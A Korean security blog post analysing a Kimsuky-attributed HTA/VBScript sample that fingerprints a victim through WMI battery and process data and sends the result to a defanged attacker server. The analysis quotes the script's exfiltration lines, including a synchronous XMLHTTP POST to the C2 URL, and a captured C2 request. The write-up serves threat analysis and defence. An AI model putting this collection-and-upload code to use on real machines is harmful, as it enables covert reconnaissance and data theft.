꿈을꾸는 파랑새

먼저 해당 악성코드는 북한 김수키(Kimsuky)에서 만든 악성코드-rmod.msc,internview.msc 이라는 글을 적은 부분에서 연장 선상에 있는 것 같습니다.
ファイル名: ttt.hta
サイズ: 1 MB
MD5:a27a6dbb2144f2dff187d8abc7b3eafb
SHA-1:de3bec1ab389a8ea2b5a985aefbb2d642785a938
SHA-256:0538e16bef5fc9f4ab0ed0b370601ae3bc5d184e75d3be678c98e6a60bf533b9
해당 악성코드 VBScript 로 제작이 돼 있는 악성코드입니다.

악성코드에 포함된 코드
악성코드에 포함된 코드

악성코드 분석

배터리,프로세스을 수집하고 로컬 파일 존재 여부를 확인하고 나서 수집 결과를 간단한 정규화(허용 문자 이외 _ 치환)하여 하드 코딩된 HTTPS 엔드포인트로 동기 POST 전송하고 창을 닫는 정보유출을 하려고 제작된 것입니다.
1. 파일 헤더 및 실행 컨텍스트
실행 환경:Internet Explorer,HTA,mshta.exe,wscript.exe, cscript.exe 등 레거시 스크립트 호스트가 필요
2. 전역 변수 및 객체 생성
isProcessRunning:WMI에서 읽은 텍스트를 누적하는 버퍼
Result:최종 전송 문자열 구성(파일 체크 결과+isProcessRunning+ENTER 구분자)
On Error Resume Next
예외 은닉:특정 WMI 쿼리 실패(권한, API 부재)나 네트워크 실패가 발생해도 스크립트가 중단되지 않음
Set ws = CreateObject("WScript.Shell")
현재 코드에서는 사용되지 않지만, 일반적으로 레지스트리,명령 실행 등 권한 획득 목적

[소프트웨어 팁/보안 및 분석] - 김정은 앵벌이 집단 김수키(Kimsuky)에서 만든 악성코드-internview.msc

 

김정은 앵벌이 집단 김수키(Kimsuky)에서 만든 악성코드-internview.msc

오늘은 김정은 팬티 사려고 앵벌이 하고 대동강 뷰 감상을 하려고 열심히 노력을 하는 북한 정찰총국 산하 해킹 단체인 김수키(Kimsuky)에서 만든 악성코드 인 internview.msc에 대해서 알아보겠습니

wezard4u.tistory.com

WMI 접근 객체
즉시 WMI 쿼리로 시스템 내부구조를 가져올 수 있음
파일 존재 확인
3.Modi() 함수: 문자 단위 변형
허용 문자(ASCII 기준):
48..57->숫자 0-9 (조건문 uses >47 and <58)
65..90->대문자 A-Z ( >64 and <91 )
97..122->소문자 a-z ( >96 and <123 )
46->마침표
모든 다른 문자(공백(32), 줄 바꿈(10,13), 콜론(58), 백슬래시(92) 등)는 _로 대체
입력: sch vbs ok ENTERMicrosoft AC Adapter ENTERexplorer.exe
출력: sch_vbs_ok_ENTERMicrosoft_AC_Adapter_ENTERexplorer.exe
(대문자는 허용되므로 ENTER는 그대로 유지 공백은 _로 변경)
서버 측 파서가 _ 를 구분자로 처리하거나 단순 토큰 매칭
원본 문자열 내 중요한 구분자(예: 콜론, 슬래시, 경로 구분자)는 모두 _로 사라지므로 경로, 세부 정보는 일부 손실

[소프트웨어 팁/보안 및 분석] - 북한 김수키(Kimsuky)에서 만든 악성코드-rmod.msc

 

북한 김수키(Kimsuky)에서 만든 악성코드-rmod.msc

해당 악성코드는 MMC(Microsoft Management Console,MMC)은 Windows의 관리 도구들을 통합적으로 실행하고 관리하기 위한 프레임워크 를 악용을 해서 만든 악성코드로 1년 전인가 사용을 했던 방식을 사용하

wezard4u.tistory.com

4. WMI 조회
Win32_Battery는 노트북 배터리 관련 부분
수집 필드:Obj.Description:배터리 설명(제조사,모델 등)
Set Objs = WMI.InstancesOf("Win32_Process")
루프에서 Obj.Description을 이어붙임
Description 필드는 프로세스마다 항상 채워지지 않음
누적 방식: isProcessRunning = isProcessRunning & Obj.Description & " "
Description들 사이에 공백 추가->Modi에서 공백은 _로 전환되어 식별자 시켜버림
5.파일 존재 체크 및 Result 조립
목적:드롭퍼,스케줄러,임시 트리거 파일 존재 여부를 간단히 두 단계 트리거 판단으로 전송
sch vbs ok/no 는 수신서버에서 조건부 명령을 위해 사용될 가능성이 매우 클 것임
Result = Result + isProcessRunning + "ENTER"

악성코드 컴퓨터 프로세스 수집 및 C2 전송
악성코드 컴퓨터 프로세스 수집 및 C2 전송

6. 네트워크 전송
Set Post0 = CreateObject("msxml2.xmlhttp")
ActiveX `XMLHTTP` 사용:레거시 스크립트 기반 HTTP 클라이언트
Post0.Open "POST", "hxxps://orientedworld(.)com/wp-content/plugins/health-check/pages/gorgon1/r(.)php", 0
0->동기(Synchronous) 호출
호출이 완료될 때까지 스크립트(호스트 프로세스)는 블락됨
URL:워드프레스 플러그인 경로를 위장
Post0.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
실제 본문은 key=value 형식이 아님(단일 정규화된 문자열)
Post0.Send (Modi(Result))
Modi 적용된 문자열 전송
HTTPS 사용 시 네트워크에서 본문 내용이 보이지 않으므로 탐지 난이도 올라감
window.close()
UI 창을 닫아 은밀성 확보
7.서버(수신측) 관점에서 가능한 처리 흐름
서버는 단일 정규화 문자열을 수신->_로 구분된 토큰을 나누거나 정규식으로 대응
sch_vbs_ok 토큰을 발견하면 추가 명령 혹은 추가 페이로드 요청
엔드포인트가 PHP 스크립트인 만큼 간단한 로깅,DB 적재,조건부 명령 전송 모두 가능

C2 전송 내용

POST /wp-content/plugins/health-check/pages/gorgon1/r(.)php HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Accept-Language: ko
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)
Host: orientedworld(.)com
Connection: Keep-Alive
Cache-Control: no-cache
Accept-Encoding: gzip, deflate
Content-Length: 1506

sch_vbs_no_ENTER_______system_idle_process_system_registry_smss.exe_csrss.exe_wi
ninit.exe_csrss.exe_winlogon.exe_services.exe_lsass.exe_svchost.exe_fontdrvhost.
exe_fontdrvhost.exe_svchost.exe_svchost.exe_dwm.exe_svchost.exe_svchost.exe_svch
ost.exe_svchost.exe_svchost.exe_svchost.exe_svchost.exe_svchost.exe_svchost.exe_
svchost.exe_svchost.exe_svchost.exe_svchost.exe_svchost.exe_svchost.exe_vboxservice.ex
e_svchost.exe_svchost.exe_svchost.exe_memory_compression_svchost.exe_svchost.exe_svcho
st.exe_svchost.exe_svchost.exe_svchost.exe_svchost.exe_svchost.exe_svchost.exe_svchost
.exe_svchost.exe_svchost.exe_svchost.exe_hncupdateservice.exe_svchost.exe_svchost.exe_
svchost.exe_svchost.exe_svchost.exe_svchost.exe_svchost.exe_svchost.exe_sihost.exe_svc
host.exe_svchost.exe_svchost.exe_microsoftedgeupdate.exe_taskhostw.exe_svchost.exe_ctf
mon.exe_svchost.exe_svchost.exe_explorer.exe_startmenuexperiencehost.exe_svchost.exe_s
vchost.exe_svchost.exe_runtimebroker.exe_searchapp.exe_runtimebroker.exe_svchost.exe_s
vchost.exe_securityhealthsystray.exe_securityhealthservice.exe_vboxtray.exe_svchost.ex
e_hncupdatetray.exe_svchost.exe_textinputhost.exe_svchost.exe_msiexec.exe_audiodg.exe_
httpdebuggersvc.exe_svchost.exe_applicationframehost.exe_winstore.app.exe_runtimebroke
r.exe_sgrmbroker.exe_svchost.exe_svchost.exe_svchost.exe_svchost.exe_httpdebuggerui.ex
e_msedge.exe_msedge.exe_msedge.exe_msedge.exe_msedge.exe_wmiadap.exe_wmiprvse.exe_msed
ge.exe_msedge.exe_msedge.exe_msedge.exe_mshta.exe_wmiprvse.exe_ENTER

분석

1.HTTP 요청
메서드/경로:POST /wp-content/plugins/health-check/pages/gorgon1/r(.)php
Host:orientedworld(.)com
UA:Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; ...)
언어:ko (한국어)
Content-Type: application/x-www-form-urlencoded
sch_vbs_no_ENTER + 정규화된 프로세스 나열 + ENTER
VBScript의 Modi()로 공백,특수문자가 _로 치환되어 있음
2,페이로드 본문 해석
sch_vbs_no->C:\Users\Public\Pictures\temp.vbs 파일 존재 하지 않으면(파일 존재 체크 실패)
프로세스, 설명 목록:
system_idle_process,system,registry (커널, 가상 프로세스 표기)
필수 시스템:smss.exe,csrss.exe,wininit.exe,winlogon.exe,services.exe,lsass.exe
svchost.exe (서비스 호스트)
fontdrvhost.exe,dwm.exe,memory_compression
VirtualBox 관련:vboxservice.exe,vboxtray.exe
한글과컴퓨터 업데이트:hncupdateservice.exe,hncupdatetray.exe
보안:securityhealthsystray.exe,securityhealthservice.exe
Edge:msedge.exe,winstore.app.exe,applicationframehost.exe,runtimebroker.exe,searchapp.exe,sgrmbroker.exe
입력,미디어:textinputhost.exe,audiodg.exe

노트북 베터리 정보
노트북 베터리 정보

Windows Installer구성 요소:msiexec.exe
HTTP Debugger:httpdebuggersvc.exe,httpdebuggerui.exe
WMI:wmiadap.exe,wmiprvse.exe
mshta.exe(HTML Application 호스트)
ENTER는 구분자 _ 는 공백/특수문자 치환 결과
3. 환경
1).OS/아키텍처
UA:Windows NT 10.0; WOW64->Windows 10, 64비트 OS에서 32비트 호환 계층 사용 흔적
프로세스 조합(Edge/Store/RuntimeBroker/TextInputHost)도 Windows 10 빌드대 특징과 일치
2). 가상화 지표
vboxservice.exe,vboxtray.exe->VirtualBox VM
공격자(C2)에서는 분석환경/샌드박스 에서 분석한 것으로 판단할 것임
3).로컬/소프트웨어
Accept-Language: ko + hnc 프로세스->한국어 환경 및 한컴 제품 설치
4).진단/분석 도구
httpdebuggersvc.exe,httpdebuggerui.exe->HTTP 트래픽 인터셉트,디버깅 툴
5).실행 컨텍스트
mshta.exe 존재->HTA 또는 IE 기반 VBScript 실행 정황과 일치
wmiprvse.exe 반복->직전의 WMI 쿼리(Win32_Process,Win32_Battery) 활동 일치
6).배터리 정보
본문 앞의 _______(언더스코어 다수)는 빈 설명/제어문자 치환의 결과의 찌꺼러기로 보임
배터리 설명 문자열 없음 죽 저는 VM/데스크탑 환경에서 실행
여기서 배터리 정보 털어 가는 이유는 간단합니다.
일단 일반 데스크톱 컴퓨터는 당연히 배터리를 사용을 하지 않으므로 일반적인 환경이라는 것을 확인할 수가 있지만 배터리 정보가 존재한다는 것은 노트북을 사용하고 있다는 뜻이 될 것입니다.
노트북 환경 확인: Win32_Battery 정보가 존재하고 수집된다면 해당 코드가 노트북 또는 모바일 워크스테이션과 같은 휴대용 장치에서 실행 중임을 알 수 있음
데스크톱,서버 환경 제외: 데스크톱 $\text{PC}$나 서버 환경에서는 해당 정보가 없거나 기본값만 제공
공격자의 판단: 만약 해당 정보가 노트북을 가리킨다면 해당 장치는 회사 외부에서 사용되거나 출장이 잦은 고가치 목표물(회사 경영진, 영업직, 교수, 방산업체, 기자 등)의 장치일 가능성이 크다고 판단할 수 있으며 해당 수집된 부분을 통해서 공격 방법을 설정할 것임
고유 식별자 생성 및 추적
배터리 정보, 특히 Description 필드에는 제조사, 모델 번호 등의 정보가 포함될 수 있음
지문(Fingerprinting): 해당 정보를 프로세스 목록과 합쳐서 유출할 때 공격자는 해당 시스템에 대한 고유한 디지털 지문을 생성하는 데 사용할 수 있음
같은 시스템이 다시 감염되었는지 확인할 때 시스템을 재부팅 하거나 IP 주소가 바뀌더라도 특정 타겟을 계속 추적하는 데 유용하게 사용이 될 것임
배터리 정보 수집은 단순한 시스템 상태 확인을 넘어 실행 환경을 분석하고 특정 대상을 식별 및 추적하기 위한 중요한 자료가 됨
결론: 앞서 글을 적은 부분들을 합치면 이런 결과를 확보할 수가 있을 것입니다. 즉 조심하자~

공유하기

facebook twitter kakaoTalk kakaostory naver band